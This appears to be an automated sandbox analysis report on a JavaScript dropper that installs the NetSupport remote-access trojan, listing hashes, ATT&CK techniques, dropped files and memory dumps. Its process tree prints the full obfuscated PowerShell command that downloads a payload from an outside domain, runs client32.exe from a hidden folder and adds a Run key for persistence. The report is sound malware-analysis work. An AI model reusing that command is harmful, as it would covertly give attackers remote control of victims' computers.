netsupport | d733403650832af97220ed7693dcc0901336c84f927351db27a2ccb2de2deae1

Analysis

max time kernel
905s
max time network
1750s
platform
windows10-1703_x64
resource
win10-20231215-en
resource tags

arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
submitted
05/02/2024, 20:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

update.js
Size

350KB
MD5

1cc37e540105a888cbe50d8d81b09e27
SHA1

0e2701afb1ba6050508dd7a4ecfc6fe3266ca9e2
SHA256

d733403650832af97220ed7693dcc0901336c84f927351db27a2ccb2de2deae1
SHA512

2ed4db91e1e59c17966de8cbe12dd6b830e9f6756d7e98a8d525597252db393e843fdba82e17e0403b77416393ac3059a58f3d954985ab56e23b156ae4b981b1
SSDEEP

6144:QY/j8teY/j8teY/j8tMY/j8t8Y/j8teY/j8teY/j8tWY/j8teY/j8teY/j8tQ:QYwteYwteYwtMYwt8YwteYwteYwtWYwW

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://ghostcitygames.com/data.php?6937

exe.dropper

https://ghostcitygames.com/data.php?6937

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	2564	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
1740	client32.exe

Loads dropped DLL 6 IoCs

pid	Process
1740	client32.exe
1740	client32.exe
1740	client32.exe
1740	client32.exe
1740	client32.exe
1740	client32.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-655921741-723621465-1580683668-1000\Software\Microsoft\Windows\CurrentVersion\Run\OFFICE = "C:\\Users\\Admin\\AppData\\Roaming\\DIVX-132\\client32.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2564	powershell.exe
2564	powershell.exe
2564	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2564	powershell.exe
Token: SeSecurityPrivilege	1740	client32.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
1740	client32.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 308 wrote to memory of 2564	308	wscript.exe	74
PID 308 wrote to memory of 2564	308	wscript.exe	74
PID 2564 wrote to memory of 1740	2564	powershell.exe	77
PID 2564 wrote to memory of 1740	2564	powershell.exe	77
PID 2564 wrote to memory of 1740	2564	powershell.exe	77

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
1⤵
- Suspicious use of WriteProcessMemory
PID:308
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $zbMXtkpRdebGwDoqoNgAST='https://ghostcitygames.com/data.php?6937';$ifaiObnTupNvAzDmBiDQZg=(New-Object System.Net.WebClient).DownloadString($zbMXtkpRdebGwDoqoNgAST);$QnDGkcMcdUuuLRmkZ=[System.Convert]::FromBase64String($ifaiObnTupNvAzDmBiDQZg);$zxc = Get-Random -Minimum -1000 -Maximum 1000; $KqjcDQOlwDLbyhAvmNNVViTZPsIunA=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -PathType Container)) { New-Item -Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -ItemType Directory };$p=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'VVV.zip';[System.IO.File]::WriteAllBytes($p,$QnDGkcMcdUuuLRmkZ);try { Add-Type -A System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($p,$KqjcDQOlwDLbyhAvmNNVViTZPsIunA)} catch { Write-Host 'Failed: ' + $_; exit};$e=Join-Path $KqjcDQOlwDLbyhAvmNNVViTZPsIunA 'client32.exe';if (Test-Path $e -PathType Leaf) { Start-Process -FilePath $e} else { Write-Host 'No exe.'};$FSDFSSD=Get-Item $KqjcDQOlwDLbyhAvmNNVViTZPsIunA -Force; $FSDFSSD.attributes='Hidden';$s=$KqjcDQOlwDLbyhAvmNNVViTZPsIunA+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE';$t='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $t;
  2⤵
  - Blocklisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2564
- - C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe
    "C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:1740

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2vxjfphq.cei.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-132\HTCTL32.DLL

Filesize
143KB

MD5
701b07d883b3cfc443f863f657ef91fc

SHA1
db3b5d9a66bd8dbc70b3b764884260f31670fd99

SHA256
2aba690848a5c26ba76aa819be68acfd4f8f45e198be8c69c54e11be27051319

SHA512
f075b814235b15bd21898df8e481403c665ef689c6b2db80a940717337e8ca50e978a742b399c2303f4da22870f8046e9817059cd8bedf5e47a5848d0fb53f6b

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-132\MSVCR100.dll

Filesize
211KB

MD5
9f5a1903e17e2ae5d3294859473321cb

SHA1
7355bab77513c997643f91e31edae362a836ab85

SHA256
b532a25737064102d15f4e4a5a2c65005e299b4118346629ee9d24bea5e2fd92

SHA512
a728165772f492d8f10ae3e8eecf6959f24f0cd724f0e514e14184810c2880bc1bfed95f85ec6c802d8f7a8f7c69bebd4a4e3b2c3c015636d0b8f4b0cb065125

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-132\NSM.LIC

Filesize
258B

MD5
1b41e64c60ca9dfadeb063cd822ab089

SHA1
abfcd51bb120a7eae5bbd9a99624e4abe0c9139d

SHA256
f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d

SHA512
c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-132\PCICL32.dll

Filesize
64KB

MD5
46ac25f90f99c36eee89c6428c458e03

SHA1
17ac288d3264848ec0d2c62245395a076a4deb61

SHA256
30009b8d74469cf7e1547ebbb50c8a58e8e71184c5745d0894b6bf7876634fb8

SHA512
81c47f9de0a5ad15b3d70d52fe2d81af456ac437424ac0fc045369a866478c6f9cadeea8324d7ba1a39fd689bba335682c5243147a0307de80031b76a05d4ab2

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-132\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\AppData\Roaming\DIVX-132\client32.ini

Filesize
701B

MD5
98043670d8c850e878e333312fcfa25a

SHA1
dc795e8b906d70ee5854a6797e0c1557375bc443

SHA256
0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc

SHA512
13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201

Download Submit
\Users\Admin\AppData\Roaming\DIVX-132\HTCTL32.DLL

Filesize
208KB

MD5
bfdfbecdece75524459161cd1414d1f4

SHA1
f6b4bc83ea1c5d8913ad028910ad8718b4e5502c

SHA256
49b857176a28582aa52522fd1ff902d9201cc7b59199e99f911ed7bba6d52d32

SHA512
575aede1ad6d474223c565543f676d3c2b4b672bbce1bc29240031d82300308482ef1690b81ab8d3d910be5894c2691274cebf726052f3c83b78044c7e19d696

Download Submit
\Users\Admin\AppData\Roaming\DIVX-132\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
\Users\Admin\AppData\Roaming\DIVX-132\PCICL32.DLL

Filesize
341KB

MD5
62703ad10798556d14171949171d9719

SHA1
5258877885c662a50cc45175c18e78a3ceaa5cb0

SHA256
975920b0103a9ddd24c0bbad4c98d3ef2536765dec0da1360f61ad02369bc703

SHA512
36f77e6f0cc9090bc82ac9b1b432483723b0b8f8b0490491a3b2f5705861671b561cbc8d19a465f3fde80c84eacc2ce2912d8bfd75a60ea3dc59def28511677b

Download Submit
\Users\Admin\AppData\Roaming\DIVX-132\msvcr100.dll

Filesize
282KB

MD5
5904e8bc02bdb968ce0f36018ee41876

SHA1
10d8500b76946b8190185d16534142597be4187a

SHA256
8ef3f764dbf46eea25078036b64abd18122f19bb0592a390a5de215fdf168371

SHA512
869661bc36ecb2bba835e2fa1f7f31c50c80b3aeb2ef5ef5b019873988c7626fc7e3a26b5dc8623dda6804422f687332366171dde0c6e82fe8c6190f710aaa65

Download Submit
\Users\Admin\AppData\Roaming\DIVX-132\msvcr100.dll

Filesize
208KB

MD5
0fc486f7851e56d2f6a6ca5ee704b696

SHA1
f7edfdc0a528d2257774c6f65be23b5de4c96daf

SHA256
5f22eaa3a87c50418c7a6edbc2f8144112557fcf1628caff9963d281d4917f6e

SHA512
d287ff5ce829c973061dc31d16f9b94f600b2193c48c3246fadfb534e3c1030433c855eec3ec00ec50ce9d603879d104786fc935e0f28c9e77be9808fd5d956e

Download Submit
\Users\Admin\AppData\Roaming\DIVX-132\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
memory/2564-4-0x00000198EF020000-0x00000198EF042000-memory.dmp

Filesize
136KB

Download
memory/2564-115-0x00007FF93B4F0000-0x00007FF93BEDC000-memory.dmp

Filesize
9.9MB

Download
memory/2564-9-0x00000198EEFE0000-0x00000198EEFF0000-memory.dmp

Filesize
64KB

Download
memory/2564-10-0x00000198EF7A0000-0x00000198EF816000-memory.dmp

Filesize
472KB

Download
memory/2564-44-0x00000198EFC70000-0x00000198EFC82000-memory.dmp

Filesize
72KB

Download
memory/2564-7-0x00000198EEFE0000-0x00000198EEFF0000-memory.dmp

Filesize
64KB

Download
memory/2564-25-0x00000198EEFE0000-0x00000198EEFF0000-memory.dmp

Filesize
64KB

Download
memory/2564-43-0x00000198EF780000-0x00000198EF78A000-memory.dmp

Filesize
40KB

Download
memory/2564-5-0x00007FF93B4F0000-0x00007FF93BEDC000-memory.dmp

Filesize
9.9MB

Download